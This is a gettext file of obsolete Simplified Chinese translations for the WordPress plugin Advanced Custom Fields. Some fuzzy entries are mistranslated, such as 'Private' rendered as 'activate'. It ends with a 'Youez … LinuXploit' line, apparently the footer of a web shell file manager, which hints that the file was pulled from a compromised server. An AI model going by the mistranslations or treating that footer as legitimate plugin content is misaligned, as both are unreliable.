#~ msgstr "已到最小值 ( {min} values )"

#~ msgid "Maximum values reached ( {max} values )"
#~ msgstr "达到了最大值 ( {max} 值 ) "

#~ msgid "Loading"
#~ msgstr "加载"

#~ msgid "No matches found"
#~ msgstr "没找到匹配的结果"

#~ msgid "Search..."
#~ msgstr "搜索..."

#~ msgid "Select post type"
#~ msgstr "选择内容类型"

#~ msgid "Select taxonomy"
#~ msgstr "选择分类"

#~ msgid "Search"
#~ msgstr "搜索"

#~ msgid "Taxonomy"
#~ msgstr "分类法"

#~ msgid "Elements"
#~ msgstr "元素"

#~ msgid "Selected elements will be displayed in each result"
#~ msgstr "选择的元素将在每个结果中显示。"

#~ msgid "Minimum posts"
#~ msgstr "最小内容"

#~ msgid "Maximum posts"
#~ msgstr "最大文章数"

#~ msgid "Select"
#~ msgstr "选择"

#~ msgid "Stylised UI"
#~ msgstr "装饰的界面"

#~ msgid "Use AJAX to lazy load choices?"
#~ msgstr "使用 AJAX 惰性选择?"

#~ msgid "Tab"
#~ msgstr "选项卡"

#~ msgid "Warning"
#~ msgstr "警告"

#~ msgid ""
#~ "The tab field will display incorrectly when added to a Table style "
#~ "repeater field or flexible content field layout"
#~ msgstr "标签字段不能在 Table 样式的重复字段或者灵活内容字段布局里正常显示"

#~ msgid ""
#~ "Use \"Tab Fields\" to better organize your edit screen by grouping fields "
#~ "together."
#~ msgstr "使用 \"标签字段\" 可以把字段组织起来更好地在编辑界面上显示。"

#~ msgid ""
#~ "All fields following this \"tab field\" (or until another \"tab field\" "
#~ "is defined) will be grouped together using this field's label as the tab "
#~ "heading."
#~ msgstr ""
#~ "在这个 \"tab field\" (或直到定义了其它的 \"tab field\" ) 以下的所有字段,"
#~ "都会被用这个字段标签作为标题的标签(Tab)组织到一块。"

#~ msgid "Placement"
#~ msgstr "位置"

#~ msgid "End-point"
#~ msgstr "端点"

#~ msgid "Use this field as an end-point and start a new group of tabs"
#~ msgstr "使用这个字段作为端点去创建新的标签群组"

#, php-format
#~ msgid "Add new %s "
#~ msgstr "添加新的 %s"

#~ msgid "None"
#~ msgstr "None"

#~ msgid "Select the taxonomy to be displayed"
#~ msgstr "选择要显示的分类法"

#~ msgid "Appearance"
#~ msgstr "外观"

#~ msgid "Select the appearance of this field"
#~ msgstr "为这个字段选择外观"

#~ msgid "Multiple Values"
#~ msgstr "多选"

#~ msgid "Multi Select"
#~ msgstr "多选"

#~ msgid "Single Value"
#~ msgstr "单个值"

#~ msgid "Radio Buttons"
#~ msgstr "单选框"

#~ msgid "Create Terms"
#~ msgstr "创建分类词汇"

#~ msgid "Allow new terms to be created whilst editing"
#~ msgstr "在编辑时允许可以创建新的分类词汇"

#~ msgid "Save Terms"
#~ msgstr "保存分类词汇"

#~ msgid "Connect selected terms to the post"
#~ msgstr "连接所选分类词汇到内容"

#~ msgid "Load Terms"
#~ msgstr "加载分类词汇"

#~ msgid "Load value from posts terms"
#~ msgstr "载入内容分类词汇的值"

#~ msgid "Term Object"
#~ msgstr "对象缓存"

#~ msgid "Term ID"
#~ msgstr "内容ID"

#, php-format
#~ msgid "User unable to add new %s"
#~ msgstr "用户无法添加新的 %s"

#, php-format
#~ msgid "%s already exists"
#~ msgstr "%s 已存在"

#, php-format
#~ msgid "%s added"
#~ msgstr "%s 已添加"

#~ msgid "Add"
#~ msgstr "添加"

#~ msgid "Text"
#~ msgstr "文本"

#~ msgid "Character Limit"
#~ msgstr "字符限制"

#~ msgid "Leave blank for no limit"
#~ msgstr "留空则不限制"

#~ msgid "Text Area"
#~ msgstr "文本段"

#~ msgid "Rows"
#~ msgstr "行"

#~ msgid "Sets the textarea height"
#~ msgstr "设置文本区域的高度"

#~ msgid "New Lines"
#~ msgstr "新行"

#~ msgid "Controls how new lines are rendered"
#~ msgstr "控制怎么显示新行"

#~ msgid "Automatically add paragraphs"
#~ msgstr "自动添加段落"

#~ msgid "Automatically add &lt;br&gt;"
#~ msgstr "自动添加 &lt;br&gt;"

#~ msgid "No Formatting"
#~ msgstr "无格式"

#~ msgid "True / False"
#~ msgstr "真/假"

#~ msgid "eg. Show extra content"
#~ msgstr "例如:显示附加内容"

#~ msgid "Url"
#~ msgstr "地址"

#~ msgid "Value must be a valid URL"
#~ msgstr "值必须是有效的地址"

#~ msgid "Filter by role"
#~ msgstr "根据角色过滤"

#~ msgid "All user roles"
#~ msgstr "所有用户角色"

#~ msgid "Wysiwyg Editor"
#~ msgstr "可视化编辑器"

#~ msgid "Visual"
#~ msgstr "显示"

#~ msgctxt "Name for the Text editor tab (formerly HTML)"
#~ msgid "Text"
#~ msgstr "文本"

#~ msgid "Tabs"
#~ msgstr "标签"

#~ msgid "Visual & Text"
#~ msgstr "显示与文本"

#~ msgid "Visual Only"
#~ msgstr "只有显示"

#~ msgid "Text Only"
#~ msgstr "纯文本"

#~ msgid "Toolbar"
#~ msgstr "工具条"

#~ msgid "Show Media Upload Buttons?"
#~ msgstr "是否显示媒体上传按钮?"

#~ msgid "<b>Connection Error</b>. Sorry, please try again"
#~ msgstr "<b>连接错误</b>,再试一次"

#~ msgid "Save Options"
#~ msgstr "保存"

#~ msgid "License"
#~ msgstr "许可"

#~ msgid ""
#~ "To unlock updates, please enter your license key below. If you don't have "
#~ "a licence key, please see"
#~ msgstr "解锁更新,输入许可证号。还没有许可证号,请看"

#~ msgid "details & pricing"
#~ msgstr "详情与定价"

#, php-format
#~ msgid ""
#~ "To enable updates, please enter your license key on the <a href=\"%s"
#~ "\">Updates</a> page. If you don't have a licence key, please see <a href="
#~ "\"%s\">details & pricing</a>"
#~ msgstr ""
#~ "启用更新,先在 <a href=\"%s\">更新</a> 页面输入许可证。还没有许可证,请查"
#~ "看 <a href=\"%s\">详情与定价</a>"

#~ msgid "remove {layout}?"
#~ msgstr "删除 {layout}?"

#~ msgid "This field requires at least {min} {identifier}"
#~ msgstr "这个字段需要至少 {min} {identifier}"

#~ msgid "This field has a limit of {max} {identifier}"
#~ msgstr "这个字段限制最大为 {max} {identifier}"

#~ msgid "Maximum {label} limit reached ({max} {identifier})"
#~ msgstr "{label} 已到最大限制 ({max} {identifier})"

#, php-format
#~ msgid "%s requires at least %s selection"
#~ msgid_plural "%s requires at least %s selections"
#~ msgstr[0] "%s 需要至少 %s 个选择"

#~ msgid "Advanced Custom Fields Pro"
#~ msgstr "Advanced Custom Fields 专业版"

#~ msgid "http://www.advancedcustomfields.com/"
#~ msgstr "http://www.advancedcustomfields.com/"

#~ msgid ""
#~ "Customise WordPress with powerful, professional and intuitive fields."
#~ msgstr "用强大专业的字段定制 WordPress。"

#~ msgid "elliot condon"
#~ msgstr "elliot condon"

#~ msgid "http://www.elliotcondon.com/"
#~ msgstr "http://www.elliotcondon.com/"

#, fuzzy
#~ msgid "Show Field Keys"
#~ msgstr "显示字段密钥:"

#, fuzzy
#~ msgid "Private"
#~ msgstr "激活"

#, fuzzy
#~ msgid "Revision"
#~ msgstr "版本控制"

#, fuzzy
#~ msgid "Field groups are created in order from lowest to highest"
#~ msgstr "字段组排序<br />从低到高。"

#, fuzzy
#~ msgid "ACF PRO Required"
#~ msgstr "(必填项)"

#, fuzzy
#~ msgid "Update Database"
#~ msgstr "升级数据库"

#, fuzzy
#~ msgid "Data Upgrade"
#~ msgstr "升级"

#, fuzzy
#~ msgid "Data is at the latest version."
#~ msgstr "非常感谢你升级插件到最新版本!"

#~ msgid "Load & Save Terms to Post"
#~ msgstr "加载&保存条目到文章。"

#~ msgid ""
#~ "Load value based on the post's terms and update the post's terms on save"
#~ msgstr "在文章上加载值,保存时更新文章条目。"

#, fuzzy
#~ msgid "image"
#~ msgstr "图像"

#, fuzzy
#~ msgid "relationship"
#~ msgstr "关系"

#, fuzzy
#~ msgid "unload"
#~ msgstr "下载"

#, fuzzy
#~ msgid "title_is_required"
#~ msgstr "字段组已发布。"

#, fuzzy
#~ msgid "move_field"
#~ msgstr "保存字段"

#, fuzzy
#~ msgid "flexible_content"
#~ msgstr "大段内容"

#, fuzzy
#~ msgid "gallery"
#~ msgstr "相册"

#, fuzzy
#~ msgid "repeater"
#~ msgstr "复制"

#~ msgid "Custom field updated."
#~ msgstr "自定义字段已更新。"

#~ msgid "Custom field deleted."
#~ msgstr "自定义字段已删除。"

#, fuzzy
#~ msgid "Import/Export"
#~ msgstr "重要"

#~ msgid "Column Width"
#~ msgstr "分栏宽度"

#, fuzzy
#~ msgid "Attachment Details"
#~ msgstr "附件已更新"

#~ msgid "Validation Failed. One or more fields below are required."
#~ msgstr "验证失败,下面一个或多个字段是必需的。"

#~ msgid "Field group restored to revision from %s"
#~ msgstr "字段组已恢复到版本%s"

#~ msgid "No ACF groups selected"
#~ msgstr "没有选择ACF组"

#~ msgid "Repeater Field"
#~ msgstr "复制字段"

#~ msgid ""
#~ "Create infinite rows of repeatable data with this versatile interface!"
#~ msgstr "使用这个方面的界面为重复数据创建无限行。 "

#~ msgid "Gallery Field"
#~ msgstr "相册字段"

#~ msgid "Create image galleries in a simple and intuitive interface!"
#~ msgstr "使用简单直观的界面创建画廊!"

#~ msgid "Create global data to use throughout your website!"
#~ msgstr "创建整个站点可用的全局数据。"

#~ msgid "Flexible Content Field"
#~ msgstr "多样内容字段"

#~ msgid "Create unique designs with a flexible content layout manager!"
#~ msgstr "通过强大的内容布局管理功能创建一个独有的设计。"

#~ msgid "Gravity Forms Field"
#~ msgstr "Gravity表单字段"

#~ msgid "Creates a select field populated with Gravity Forms!"
#~ msgstr "创建一个由Gravity表单处理的选择字段。"

#~ msgid "Date & Time Picker"
#~ msgstr "日期&时间选择器"

#~ msgid "jQuery date & time picker"
#~ msgstr "jQuery 日期 & 时间选择器"

#~ msgid "Find addresses and coordinates of a desired location"
#~ msgstr "查找需要的位置的地址和坐标。"

#~ msgid "Contact Form 7 Field"
#~ msgstr "Contact Form 7 字段"

#~ msgid "Assign one or more contact form 7 forms to a post"
#~ msgstr "分配一个或多个contact form 7表单到文章"

#~ msgid "Advanced Custom Fields Add-Ons"
#~ msgstr "自定义字段附加功能"

#~ msgid ""
#~ "The following Add-ons are available to increase the functionality of the "
#~ "Advanced Custom Fields plugin."
#~ msgstr "下面的附加项可以提高插件功能。"

#~ msgid ""
#~ "Each Add-on can be installed as a separate plugin (receives updates) or "
#~ "included in your theme (does not receive updates)."
#~ msgstr ""
#~ "每个附件都可以作为一个单独的插件安装(可以获取更新)或包含在你的主题中(不"
#~ "能获取更新)"

#~ msgid "Purchase & Install"
#~ msgstr "购买和安装"

#~ msgid "Export"
#~ msgstr "导出"

#~ msgid "Select the field groups to be exported"
#~ msgstr "选择需要导出的字段组。"

#~ msgid "Export to XML"
#~ msgstr "导出到XML"

#~ msgid "Export to PHP"
#~ msgstr "导出到PHP"

#~ msgid ""
#~ "ACF will create a .xml export file which is compatible with the native WP "
#~ "import plugin."
#~ msgstr "ACF将创建一个兼容WP导入插件的.xml文件。"

#~ msgid ""
#~ "Imported field groups <b>will</b> appear in the list of editable field "
#~ "groups. This is useful for migrating fields groups between Wp websites."
#~ msgstr ""
#~ "导入字段组将出现在可编辑字段组后面,在几个WP站点之间迁移字段组时,这将非常"
#~ "有用。"

#~ msgid "Select field group(s) from the list and click \"Export XML\""
#~ msgstr "从列表中选择字段组,然后点击 \"导出XML\" "

#~ msgid "Save the .xml file when prompted"
#~ msgstr "导出后保存.xml文件"

#~ msgid "Navigate to Tools &raquo; Import and select WordPress"
#~ msgstr "转到工具 &raquo; 导入,然后选择WordPress "

#~ msgid "Install WP import plugin if prompted"
#~ msgstr "安装WP导入插件后开始"

#~ msgid "Upload and import your exported .xml file"
#~ msgstr "上传并导入.xml文件"

#~ msgid "Select your user and ignore Import Attachments"
#~ msgstr "选择用户,忽略导入附件"

#~ msgid "That's it! Happy WordPressing"
#~ msgstr "成功了,使用愉快!"

#~ msgid "ACF will create the PHP code to include in your theme."
#~ msgstr "ACP将导出可以包含到主题中的PHP代码"

#~ msgid ""
#~ "Registered field groups <b>will not</b> appear in the list of editable "
#~ "field groups. This is useful for including fields in themes."
#~ msgstr ""
#~ "已注册字段<b>不会</b>出现在可编辑分组中,这对主题中包含的字段非常有用。"

#~ msgid ""
#~ "Please note that if you export and register field groups within the same "
#~ "WP, you will see duplicate fields on your edit screens. To fix this, "
#~ "please move the original field group to the trash or remove the code from "
#~ "your functions.php file."
#~ msgstr ""
#~ "请注意,如果在同一个网站导出并注册字段组,您会在您的编辑屏幕上看到重复的字"
#~ "段,为了解决这个问题,请将原字段组移动到回收站或删除您的functions.php文件"
#~ "中的代码。"

#~ msgid "Select field group(s) from the list and click \"Create PHP\""
#~ msgstr "参加列表中选择表单组,然后点击 \"生成PHP\""

#~ msgid "Copy the PHP code generated"
#~ msgstr "复制生成的PHP代码。"

#~ msgid "Paste into your functions.php file"
#~ msgstr "请插入您的function.php文件"

#~ msgid ""
#~ "To activate any Add-ons, edit and use the code in the first few lines."
#~ msgstr "要激活附加组件,编辑和应用代码中的前几行。"

#~ msgid "Notes"
#~ msgstr "注意"

#~ msgid "Include in theme"
#~ msgstr "包含在主题中"

#~ msgid ""
#~ "The Advanced Custom Fields plugin can be included within a theme. To do "
#~ "so, move the ACF plugin inside your theme and add the following code to "
#~ "your functions.php file:"
#~ msgstr ""
#~ "字段插件可以包含到主题中,如果需要进行此操作,请移动字段插件到themes文件夹"
#~ "并添加以下代码到functions.php文件:"

#~ msgid ""
#~ "To remove all visual interfaces from the ACF plugin, you can use a "
#~ "constant to enable lite mode. Add the following code to you functions.php "
#~ "file <b>before</b> the include_once code:"
#~ msgstr ""
#~ "要删除所有ACF插件的可视化界面,你可以用一个常数,使精简版模式,将下面的代"
#~ "码添加到functions.php文件中include_once代码<b>之前</b>。"

#~ msgid "Back to export"
#~ msgstr "返回到导出器"

#~ msgid ""
#~ "/**\n"
#~ " *  Install Add-ons\n"
#~ " *  \n"
#~ " *  The following code will include all 4 premium Add-Ons in your theme.\n"
#~ " *  Please do not attempt to include a file which does not exist. This "
#~ "will produce an error.\n"
#~ " *  \n"
#~ " *  All fields must be included during the 'acf/register_fields' action.\n"
#~ " *  Other types of Add-ons (like the options page) can be included "
#~ "outside of this action.\n"
#~ " *  \n"
#~ " *  The following code assumes you have a folder 'add-ons' inside your "
#~ "theme.\n"
#~ " *\n"
#~ " *  IMPORTANT\n"
#~ " *  Add-ons may be included in a premium theme as outlined in the terms "
#~ "and conditions.\n"
#~ " *  However, they are NOT to be included in a premium / free plugin.\n"
#~ " *  For more information, please read http://www.advancedcustomfields.com/"
#~ "terms-conditions/\n"
#~ " */"
#~ msgstr ""
#~ "/ **\n"
#~ " *安装附加组件\n"
#~ " *\n"
#~ " *下面的代码将包括所有4个高级附加组件到您的主题\n"
#~ " *请不要试图包含一个不存在的文件,这将产生一个错误。\n"
#~ " *\n"
#~ " *所有字段都必须在'acf/register_fields'动作执行时包含。\n"
#~ " *其他类型的加载项(如选项页)可以包含在这个动作之外。\n"
#~ " *\n"
#~ " *下面的代码假定你在你的主题里面有一个“add-ons”文件夹。\n"
#~ " *\n"
#~ " *重要\n"
#~ " *附加组件可能在一个高级主题中包含下面的条款及条件。\n"
#~ " *但是,他们都没有被列入高级或免费插件。\n"
#~ " *欲了解更多信息,请读取http://www.advancedcustomfields.com/terms-"
#~ "conditions/\n"
#~ " */"

#~ msgid ""
#~ "/**\n"
#~ " *  Register Field Groups\n"
#~ " *\n"
#~ " *  The register_field_group function accepts 1 array which holds the "
#~ "relevant data to register a field group\n"
#~ " *  You may edit the array as you see fit. However, this may result in "
#~ "errors if the array is not compatible with ACF\n"
#~ " */"
#~ msgstr ""
#~ "/**\n"
#~ " * 注册字段组\n"
#~ " *\n"
#~ " * register_field_group函数接受一个包含注册字段组有关数据的数组\n"
#~ " *您可以编辑您认为合适的数组,然而,如果数组不兼容ACF,这可能会导致错误\n"
#~ " */"

#~ msgid "Vote"
#~ msgstr "投票"

#~ msgid "Follow"
#~ msgstr "关注"

#~ msgid "Activation codes have grown into plugins!"
#~ msgstr "激活码成为了插件!"

#~ msgid ""
#~ "Add-ons are now activated by downloading and installing individual "
#~ "plugins. Although these plugins will not be hosted on the wordpress.org "
#~ "repository, each Add-on will continue to receive updates in the usual way."
#~ msgstr ""
#~ "附加组件现在通过下载和安装单独的插件激活,虽然这些插件不在wordpress.org库"
#~ "托管,每个附加组件将通过合适的方式得到更新。"

#~ msgid "All previous Add-ons have been successfully installed"
#~ msgstr "所有附加功能已安装!"

#~ msgid "This website uses premium Add-ons which need to be downloaded"
#~ msgstr "此站点使用的高级功能需要下载。"

#~ msgid "Download your activated Add-ons"
#~ msgstr "下载已激活的附加功能"

#~ msgid ""
#~ "This website does not use premium Add-ons and will not be affected by "
#~ "this change."
#~ msgstr "此站点未使用高级功能,这个改变没有影响。"

#~ msgid "Easier Development"
#~ msgstr "快速开发"

#~ msgid "New Field Types"
#~ msgstr "新字段类型"

#~ msgid "Email Field"
#~ msgstr "电子邮件字段"

#~ msgid "Password Field"
#~ msgstr "密码字段"

#~ msgid "Custom Field Types"
#~ msgstr "自定义字段类型"

#~ msgid ""
#~ "Creating your own field type has never been easier! Unfortunately, "
#~ "version 3 field types are not compatible with version 4."
#~ msgstr ""
#~ "创建您自己的字段类型从未如此简单!不幸的是,版本3的字段类型不兼容版本4。"

#~ msgid "Migrating your field types is easy, please"
#~ msgstr "数据迁移非常简单,请"

#~ msgid "follow this tutorial"
#~ msgstr "跟随这个向导"

#~ msgid "to learn more."
#~ msgstr "了解更多。"

#~ msgid "Actions &amp; Filters"
#~ msgstr "动作&amp;过滤器"

#~ msgid ""
#~ "All actions & filters have recieved a major facelift to make customizing "
#~ "ACF even easier! Please"
#~ msgstr "所有动作和过滤器得到了一次重大改版一遍更方便的定制ACF!请"

#~ msgid "read this guide"
#~ msgstr "阅读此向导"

#~ msgid "to find the updated naming convention."
#~ msgstr "找到更新命名约定。"

#~ msgid "Preview draft is now working!"
#~ msgstr "预览功能已经可用!"

#~ msgid "This bug has been squashed along with many other little critters!"
#~ msgstr "这个错误已经与许多其他小动物一起被压扁了!"

#~ msgid "See the full changelog"
#~ msgstr "查看全部更新日志"

#~ msgid "Database Changes"
#~ msgstr "数据库改变"

#~ msgid ""
#~ "Absolutely <strong>no</strong> changes have been made to the database "
#~ "between versions 3 and 4. This means you can roll back to version 3 "
#~ "without any issues."
#~ msgstr ""
#~ "数据库在版本3和4之间<strong>没有</strong>任何修改,这意味你可以安全回滚到"
#~ "版本3而不会遇到任何问题。"

#~ msgid "Potential Issues"
#~ msgstr "潜在问题"

#~ msgid ""
#~ "Do to the sizable changes surounding Add-ons, field types and action/"
#~ "filters, your website may not operate correctly. It is important that you "
#~ "read the full"
#~ msgstr ""
#~ "需要在附加组件,字段类型和动作/过滤之间做重大修改时,你可的网站可能会出现"
#~ "一些问题,所有强烈建议阅读全部"

#~ msgid "Migrating from v3 to v4"
#~ msgstr "从V3迁移到V4"

#~ msgid "guide to view the full list of changes."
#~ msgstr "查看所有更新列表。"

#~ msgid "Really Important!"
#~ msgstr "非常重要!"

#~ msgid ""
#~ "If you updated the ACF plugin without prior knowledge of such changes, "
#~ "Please roll back to the latest"
#~ msgstr "如果你没有收到更新通知而升级到了ACF插件,请回滚到最近的一个版本。"

#~ msgid "version 3"
#~ msgstr "版本 3"

#~ msgid "of this plugin."
#~ msgstr "这个插件"

#~ msgid "Thank You"
#~ msgstr "谢谢!"

#~ msgid ""
#~ "A <strong>BIG</strong> thank you to everyone who has helped test the "
#~ "version 4 beta and for all the support I have received."
#~ msgstr "非常感谢帮助我测试版本4的所有人。"

#~ msgid "Without you all, this release would not have been possible!"
#~ msgstr "没有你们,此版本可能还没有发布。"

#~ msgid "Changelog for"
#~ msgstr "更新日志:"

#~ msgid "Learn more"
#~ msgstr "了解更多"

#~ msgid "Overview"
#~ msgstr "预览"

#~ msgid ""
#~ "Previously, all Add-ons were unlocked via an activation code (purchased "
#~ "from the ACF Add-ons store). New to v4, all Add-ons act as separate "
#~ "plugins which need to be individually downloaded, installed and updated."
#~ msgstr ""
#~ "在此之前,所有附加组件通过一个激活码(从ACF附加组件的商店购买)解锁,到了"
#~ "版本V4,所有附加组件作为单独的插件下载,安装和更新。"

#~ msgid ""
#~ "This page will assist you in downloading and installing each available "
#~ "Add-on."
#~ msgstr "此页将帮助您下载和安装每个可用的附加组件。"

#~ msgid "Available Add-ons"
#~ msgstr "可用附加功能"

#~ msgid ""
#~ "The following Add-ons have been detected as activated on this website."
#~ msgstr "在此网站上检测到以下附加已激活。"

#~ msgid "Activation Code"
#~ msgstr "激活码"

#~ msgid "Installation"
#~ msgstr "安装"

#~ msgid "For each Add-on available, please perform the following:"
#~ msgstr "对于每个可以用附加组件,请执行以下操作:"

#~ msgid "Download the Add-on plugin (.zip file) to your desktop"
#~ msgstr "下载附加功能(.zip文件)到电脑。"

#~ msgid "Navigate to"
#~ msgstr "链接到"

#~ msgid "Plugins > Add New > Upload"
#~ msgstr "插件>添加>上传"

#~ msgid ""
#~ "Use the uploader to browse, select and install your Add-on (.zip file)"
#~ msgstr "使用文件上载器,浏览,选择并安装附加组件(zip文件)"

#~ msgid ""
#~ "Once the plugin has been uploaded and installed, click the 'Activate "
#~ "Plugin' link"
#~ msgstr "插件上传并安装后,点击'激活插件'链接。"

#~ msgid "The Add-on is now installed and activated!"
#~ msgstr "附加功能已安装并启用。"

#~ msgid "Awesome. Let's get to work"
#~ msgstr "太棒了!我们开始吧。"

#~ msgid "Modifying field group options 'show on page'"
#~ msgstr "修改字段组选项'在页面上显示'"

#~ msgid "Modifying field option 'taxonomy'"
#~ msgstr "修改字段选项'分类法'"

#~ msgid "Moving user custom fields from wp_options to wp_usermeta'"
#~ msgstr "从wp_options移动用户自定义字段到wp_usermeta"

#~ msgid "blue : Blue"
#~ msgstr " blue : Blue "

#~ msgid "eg: #ffffff"
#~ msgstr "如: #ffffff "

#~ msgid "Dummy"
#~ msgstr "二进制"

#~ msgid "File Object"
#~ msgstr "文件对象"

#~ msgid "File Updated."
#~ msgstr "文件已更新"

#~ msgid "Media attachment updated."
#~ msgstr "媒体附件已更新。"

#~ msgid "Add Selected Files"
#~ msgstr "添加已选择文件"

#~ msgid "Image Object"
#~ msgstr "对象图像"

#~ msgid "Image Updated."
#~ msgstr "图片已更新"

#~ msgid "No images selected"
#~ msgstr "没有选择图片"

#~ msgid "Add Selected Images"
#~ msgstr "添加所选图片"

#~ msgid "Text &amp; HTML entered here will appear inline with the fields"
#~ msgstr "在这里输入的文本和HTML将和此字段一起出现。"

#~ msgid "Enter your choices one per line"
#~ msgstr "输入选项,每行一个"

#~ msgid "Red"
#~ msgstr "红"

#~ msgid "Blue"
#~ msgstr "蓝"

#~ msgid "Post Type Select"
#~ msgstr "文章类型选择"

#~ msgid "You can use multiple tabs to break up your fields into sections."
#~ msgstr "你可以使用选项卡分割字段到多个区域。"

#~ msgid "Define how to render html tags"
#~ msgstr "定义怎么生成html标签"

#~ msgid "HTML"
#~ msgstr "HTML"

#~ msgid "Define how to render html tags / new lines"
#~ msgstr "定义怎么处理html标签和换行"

#~ msgid ""
#~ "This format will determin the value saved to the database and returned "
#~ "via the API"
#~ msgstr "此格式将决定存储在数据库中的值,并通过API返回。"

#~ msgid "\"yymmdd\" is the most versatile save format. Read more about"
#~ msgstr "\"yymmdd\" 是最常用的格式,如需了解更多,请参考"

#~ msgid "jQuery date formats"
#~ msgstr "jQuery日期格式"

#~ msgid "This format will be seen by the user when entering a value"
#~ msgstr "这是用户输入日期后看到的格式。"

#~ msgid ""
#~ "\"dd/mm/yy\" or \"mm/dd/yy\" are the most used Display Formats. Read more "
#~ "about"
#~ msgstr "\"dd/mm/yy\" 或 \"mm/dd/yy\" 为最常用的显示格式,了解更多"

#~ msgid "Field Order"
#~ msgstr "字段顺序"

#~ msgid "Edit this Field"
#~ msgstr "编辑当前字段"

#~ msgid "Docs"
#~ msgstr "文档"

#~ msgid "Field Instructions"
#~ msgstr "字段说明"

#~ msgid "Show this field when"
#~ msgstr "符合这些规则中的"

#~ msgid "all"
#~ msgstr "所有"

#~ msgid "any"
#~ msgstr "任一个"

#~ msgid "these rules are met"
#~ msgstr "项时,显示此字段"

#~ msgid "Taxonomy Term (Add / Edit)"
#~ msgstr "分类法条目(添加/编辑)"

#~ msgid "Media Attachment (Edit)"
#~ msgstr "媒体附件(编辑)"

#~ msgid "Unlock options add-on with an activation code"
#~ msgstr "使用激活码解锁附加功能"

#~ msgid "Normal"
#~ msgstr "普通"

#~ msgid "No Metabox"
#~ msgstr "无Metabox"

#~ msgid "Add-Ons"
#~ msgstr "附加"

#~ msgid "Just updated to version 4?"
#~ msgstr "刚更新到版本4?"

#~ msgid ""
#~ "Activation codes have changed to plugins! Download your purchased add-ons"
#~ msgstr "激活码已改变了插件,请下载已购买的附加功能。"

#~ msgid "here"
#~ msgstr "这里"

#~ msgid "match"
#~ msgstr "符合"

#~ msgid "of the above"
#~ msgstr "  "

#~ msgid ""
#~ "Read documentation, learn the functions and find some tips &amp; tricks "
#~ "for your next web project."
#~ msgstr "阅读文档,学习功能和发现一些小提示,然后应用到你下一个网站项目中。"

#~ msgid "Visit the ACF website"
#~ msgstr "访问ACF网站"

#~ msgid "Add File to Field"
#~ msgstr "添加文件"

#~ msgid "Add Image to Field"
#~ msgstr "添加图片"

#~ msgid "Repeater field deactivated"
#~ msgstr "检测到复制字段"

#~ msgid "Gallery field deactivated"
#~ msgstr "检测到相册字段"

#~ msgid "Repeater field activated"
#~ msgstr "复制插件已激活。"

#~ msgid "Options page activated"
#~ msgstr "选项页面已激活"

#~ msgid "Flexible Content field activated"
#~ msgstr "多样内容字段已激活"

#~ msgid "Gallery field activated"
#~ msgstr "插件激活成功。"

#~ msgid "License key unrecognised"
#~ msgstr "许可密钥未注册"

#~ msgid ""
#~ "Add-ons can be unlocked by purchasing a license key. Each key can be used "
#~ "on multiple sites."
#~ msgstr "可以购买一个许可证来激活附加功能,每个许可证可用于许多站点。"

#~ msgid "Inactive"
#~ msgstr "未禁用"

#~ msgid "Register Field Groups"
#~ msgstr "注册字段组"

#~ msgid "Create PHP"
#~ msgstr "创建PHP"

#~ msgid "Advanced Custom Fields Settings"
#~ msgstr "高级自动设置"

#~ msgid "requires a database upgrade"
#~ msgstr "数据库需要升级"

#~ msgid "why?"
#~ msgstr "为什么?"

#~ msgid "Please"
#~ msgstr "请"

#~ msgid "backup your database"
#~ msgstr "备份数据库"

#~ msgid "then click"
#~ msgstr "然后点击"

#~ msgid "No choices to choose from"
#~ msgstr "选择表单没有选"

#~ msgid "+ Add Row"
#~ msgstr "添加行"

#~ msgid ""
#~ "No fields. Click the \"+ Add Sub Field button\" to create your first "
#~ "field."
#~ msgstr "没有字段,点击<strong>添加</strong>按钮创建第一个字段。"

#~ msgid "Close Sub Field"
#~ msgstr "选择子字段"

#~ msgid "+ Add Sub Field"
#~ msgstr "添加子字段"

#~ msgid "Alternate Text"
#~ msgstr "替换文本"

#~ msgid "Thumbnail is advised"
#~ msgstr "建设使用缩略图"

#~ msgid "Image Updated"
#~ msgstr "图片已更新"

#~ msgid "Grid"
#~ msgstr "栅格"

#~ msgid "List"
#~ msgstr "列表"

#~ msgid "1 image selected"
#~ msgstr "已选择1张图片"

#~ msgid "{count} images selected"
#~ msgstr "选择了 {count}张图片"

#~ msgid "Added"
#~ msgstr "已添加"

#~ msgid "Image already exists in gallery"
#~ msgstr "图片已在相册中"

#~ msgid "Repeater Fields"
#~ msgstr "复制字段"

#~ msgid "Table (default)"
#~ msgstr "表格(默认)"

#~ msgid "Run filter \"the_content\"?"
#~ msgstr "是否运行过滤器 \"the_content\"?"

#~ msgid "Media (Edit)"
#~ msgstr "媒体(编辑)"

Youez - 2016 - github.com/yon3zu
LinuXploit